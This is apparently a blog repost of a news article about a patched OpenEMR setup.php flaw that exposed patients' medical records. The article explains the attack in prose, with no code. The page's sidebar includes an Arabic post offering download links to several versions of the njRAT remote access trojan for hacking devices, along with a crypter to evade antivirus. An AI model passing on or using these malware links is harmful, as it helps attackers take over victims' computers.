OpenEMR flaw leaves millions of medical records exposed to attackers

 


A vulnerability in the free, open source electronic medical record and medical practice management software OpenEMR can be exploited to steal patients’ medical records and other personally identifiable information, Risk Based Security warns.
OpenEMR is used all over the world. 2012 estimates put the number of US installations (physician offices and other small healthcare facilities) over 5,000, and global numbers over 15,000. Among the users are the International Planned Parenthood Federation and the Peace Corps.
The flaw was discovered by company researchers while reviewing previously discovered security issues in OpenEMR, and responsibly disclosed to the developers. The fix has been pushed out in early November, in the 6th patch for OpenEMR v5.0.0.

About the vulnerability

The vulnerable component is the setup.php installation script, which allows users to easily install the application through a web browser.
Isaac Sears, who released details and exploit code for another SQL flaw involving the setup.php script in late October, found that it could allow unauthenticated remote database copying because it exposes functionality for cloning an existing OpenEMR site to an attacker-controlled MySQL server.
But, as RBS researchers noted, the vulnerability they found has a broader scope.
“The impact of the issue reported by Isaac Sears is a bit different, as it ‘only’ allows to clone the database to a remote site including, for example, password hashes. However, even after applying the patch it was still possible to abuse setup.php to instantiate a new so-called site, with a separate configuration, connecting to a remote MySQL database,” Risk Based Security researcher Sven Krewitt told Help Net Security.
“The settings of each new site include MySQL database parameters, which can arbitrarily be chosen by an attacker. Specifying a remote, attacker-controlled MySQL database during a new site-setup would, therefore, create an additional OpenEMR instance connecting to a remote MySQL server. In addition, the administrator account can be specified during a rogue multi-site installation, causing authentication for the new site to now use the remote database. This approach allows an unauthenticated, remote attacker to gain administrative access to the current and original OpenEMR installation,” the researchers explained in a write-up published on Tuesday.
“Having access with administrator privileges to an OpenEMR instance is considered critical, but the site databases are separated from each other. However, the administrator can edit local PHP files via the ‘Administration/Files’ menu. This allows inserting arbitrary PHP code, which is executed in context of the web server. This ultimately allows getting full control of the installation and e.g. disclose all stored patient data in the database or the file system.”

Problem solved

As mentioned before, this latest vulnerability has been patched over two weeks ago.
“The details we reported to the vendor resulted in OpenEMR 5.0.0 Patch 6, which ensures that *all* critical functionality is now restricted by default,” Krewitt told us.
In addition to this, the OpenEMR dev team added a security warning in the OpenEMR wiki, advising users to remove the setup.php script after installation/upgrade, as it isn’t needed for general OpenEMR use.
Exploitation of this latest flaw hinges on directory permissions allowing the configuration of a new site, but RBS researchers’ scan of Internet-accessible OpenEMR installations revealed that over half had insecure permissions that allowed the attack.
“This further supports the concern of software being installed in the cloud and improperly locked down. While we still believe that other installations on private networks are affected, the fact that these cloud installations are impacted means that many organizations’ and patients’ data is quite likely currently exposed,” they noted
www.helpnetsecurity.com

Comments

Post a Comment

Popular posts from this blog

تحميل اصدارات برنامج njRAT لاختراق الاجهزة 2017

Image
تحميل   اصدارات برنامج  njRAT  لاختراق الاجهزة  2017 ---------------------------------------------------------------------------------------------- السلام عليكم ورحمة الله تعالى وبركاته تحميل جميع اصدارات برنامج  njRAT  الشهير لاختراق الاجهزة مع تشفيرة متواضعة  لستب njRAT 5 نتيجة فحص تشفيرة الستب http://pscan.xyz/results.php?id=VbGXRoAJjWiEeSHH الان ناتي الى التحميل njRAT_v0.3.5 للتحميل https://up.top4top.net/downloadf-483nr2oz4-rar.html njRAT_v0.4.1 https://up.top4top.net/downloadf-483nhv6j2-rar.html njRAT_v0.5.0 للتحميل https://up.top4top.net/downloadf-483nihol1-rar.html njRAT-v0.6.4 للتحميل https://up.top4top.net/downloadf-483dr2zk1-rar.html njRAT-v0.7d
Read more

Cybersecurity in 2018: Three predictions and one hope

Image
Effective cybersecurity means keeping a close eye on the threats you currently face, and an even closer eye on the threats to come. As you consider your security strategy and investments for the coming year, here are three key trends that will define the threat landscape in 2018, and one hope for a more effective approach to protection.  Risk will continue to shift from infrastructure to the application layer As web apps have evolved from basic information and ecommerce functionality to full-fledged online services, their code and customer data have made them an increasingly appealing target for hackers. Not only are they accessible via the open Internet—they’re also woefully underprotected, with the application layer drawing only 3 percent of the typical security budget at a time when it accounts for 30 percent of successful breaches, according to Verizon. While an incident of the magnitude of the Equifax breach can hardly be said to have a silver lining, at
Read more

Which phishing messages have a near 100% click rate?

Image
Training employees to spot phishing emails, messages and phone calls can’t be done just once or once a year if the organization wants to see click rates decrease. For one thing, employees come and go (and change roles) with regularity. Secondly, threats change over time. Thirdly, knowledge and practices that aren’t regularly reinforced will be lost. And, finally, awareness isn’t the same as knowledge. “Just knowing a threat exists isn’t the same as knowing how to recognize and respond to a threat when it presents itself. In-depth education about phishing prevention is needed to create lasting behavior change,” Wombat Security researchers point out. The statistics included in the company’s latest annual State of the Phish report show the difference made by both the tools used to train end users to recognize and avoid phishing attacks and how often they are used. In the US, most organizations use computer-based online security awareness training and simulated
Read more